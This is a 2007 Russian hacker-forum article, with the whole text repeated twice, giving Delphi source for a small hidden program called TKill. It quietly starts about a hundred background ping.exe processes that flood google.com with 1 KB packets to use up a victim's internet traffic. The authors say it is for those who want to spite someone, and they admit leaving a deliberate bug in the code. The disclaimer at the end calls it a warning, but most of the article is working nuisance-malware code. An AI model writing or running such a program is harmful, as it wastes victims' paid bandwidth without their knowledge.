Потрать трафик нежно
Author’s: Lex Luthor & Begin_End.
Введение.
Вот решил написать простенькую статейку про то, как моно потратить весь трафик. Принцип прост, сливать, сливать и опять таки сливать. Статья не рассчитана на ламеров, придётся и почитать. Поможет тем, кто хочет, кому-то насолить. Как известно трафик это больная тема для каждого, сколько бы его не было всё равно его мало. Хотел написать на C Sharp, но потом остановился не у каждого стоит фреймворк. Так что выбор был на Delphi или можно написать на C++ тут ничего сложного нет. Напишем на делфи 7 без окон естественно.
Кодим.
Когда писал прогу, сказал Begin_End-у, тут он подключился, и решили написать вместе. Он помог очень мне, особенно с уменьшением размера программы и не только. Запускаем делфи, нам понадобится только *.pas файл за всеми остальными ингредиентами прошу вот сюда. В *.pas файле пишем:
//Coder's Zone Team (C) 2007
//допустили специально багу в коде
Unit Project1;
interface
//функция запуска приложений
function WinExec(lpCmdLine: PChar; uCmdShow: Cardinal): Cardinal; stdcall; external 'kernel32.dll' name '_WinExec@8';
//функция приостановки
procedure Sleep(dwMilliseconds: Cardinal); stdcal; external 'kernel32.dll' name '_Sleep@4';
procedure Start;
implementation
procedure Start;
var n:cardinal;
begin
n:=0;
//вызываем цикл запуска 100 копий ping.exe
while n<=100 do
begin
//запускаем ping.exe с параметрами постоянного пинга гугла пакетами по 1 кб, в скрытом режиме
WinExec('ping google.com -n -1 -l 1024',0);
//немного ждём
Sleep(600);
//добавляем значение к счётчику
n:=n+1;
end;
//цикл окончен - программа завершается
end;
end.
Вот такой вот код. Назвали мы с ним нашу ”программу” - TKill.CZT.LexLuthor&Begin_End. У бинарника получился на 928 байт, естественно он в архиве и под паролем который я не знаю. Ошибка в коде есть, так что думайте нормальный кодер обязательно найдёт багу.
Заключение.
Ну, вот и закончилась наша статья с Begin_End. Наша статья была написана для того что бы показать какими могут быть последствия от невнимательности. И это может закончиться очень плохо, т.к трафик уйдёт в никуда. Лучше пейте кефир и слушайте Баха, а не пишите всяких гадостей.
---
Исходник
Потрать трафик нежно.
Введение.
Вот решил написать простенькую статейку про то, как моно потратить весь трафик. Принцип прост, сливать, сливать и опять таки сливать. Статья не рассчитана на ламеров, придётся и почитать. Поможет тем, кто хочет, кому-то насолить. Как известно трафик это больная тема для каждого, сколько бы его не было всё равно его мало. Хотел написать на C Sharp, но потом остановился не у каждого стоит фреймворк. Так что выбор был на Delphi или можно написать на C++ тут ничего сложного нет. Напишем на делфи 7 без окон естественно.
Кодим.
Когда писал прогу, сказал Begin_End-у, тут он подключился, и решили написать вместе. Он помог очень мне, особенно с уменьшением размера программы и не только. Запускаем делфи, нам понадобится только *.pas файл за всеми остальными ингредиентами прошу вот сюда. В *.pas файле пишем:
//Coder's Zone Team (C) 2007
//допустили специально багу в коде
Unit Project1;
interface
//функция запуска приложений
function WinExec(lpCmdLine: PChar; uCmdShow: Cardinal): Cardinal; stdcall; external 'kernel32.dll' name '_WinExec@8';
//функция приостановки
procedure Sleep(dwMilliseconds: Cardinal); stdcal; external 'kernel32.dll' name '_Sleep@4';
procedure Start;
implementation
procedure Start;
var n:cardinal;
begin
n:=0;
//вызываем цикл запуска 100 копий ping.exe
while n<=100 do
begin
//запускаем ping.exe с параметрами постоянного пинга гугла пакетами по 1 кб, в скрытом режиме
WinExec('ping google.com -n -1 -l 1024',0);
//немного ждём
Sleep(600);
//добавляем значение к счётчику
n:=n+1;
end;
//цикл окончен - программа завершается
end;
end.
Вот такой вот код. Назвали мы с ним нашу ”программу” - TKill.CZT.LexLuthor&Begin_End. У бинарника получился на 928 байт, естественно он в архиве и под паролем который я не знаю. Ошибка в коде есть, так что думайте нормальный кодер обязательно найдёт багу.
Заключение.
Ну, вот и закончилась наша статья с Begin_End. Наша статья была написана для того что бы показать какими могут быть последствия от невнимательности. И это может закончиться очень плохо, т.к трафик уйдёт в никуда. Лучше пейте кефир и слушайте Баха, а не пишите всяких гадостей.
---
Исходник
- Просмотров: 1736
Версия для печати
#1
John Frost |
John Frost | Учитесь побольше писать рассуждений, красивым словцом можно скрасить недостатки кода и слабость темы.
Дата публикации: 10 августа 2007 21:49 | ICQ: --
цитировать
цитировать



